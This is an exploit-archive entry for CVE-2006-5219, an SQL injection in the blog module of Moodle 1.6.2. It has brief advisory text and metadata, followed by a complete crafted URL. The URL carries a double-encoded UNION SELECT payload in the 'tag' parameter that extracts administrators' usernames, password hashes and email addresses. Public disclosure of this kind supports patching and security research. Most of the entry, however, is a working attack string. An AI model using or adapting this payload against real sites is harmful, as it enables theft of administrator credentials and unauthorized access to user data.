Moodle Blog 1.18.2.2/1.6.2 Module - SQL Injection

Author: disfigure
type: webapps
platform: php
port: 
date_added: 2006-10-08 
date_updated: 2013-10-07 
verified: 1 
codes: CVE-2006-5219;OSVDB-29573 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/20395/info

Moodle is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Moodle 1.6.2 is reported vulnerable; prior versions may also be affected.

http://www.example.com/blog/index.php?tag=x%2527%20UNION%20SELECT%20%2527-1%20UNION%20SELECT%201,1,1,1,1,1,1,username,password,1,1,1,1,1,1,1,username,password,email%20
FROM%20mdl_user%20RIGHT%20JOIN%20mdl_user_admins%20ON%20mdl_user.id%3dmdl_user_admins.userid%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20F
ROM%20mdl_post%20p,%20mdl_blog_tag_instance%20bt,%20mdl_user%20u%20WHERE%201%3D0%2527,1,1,%25271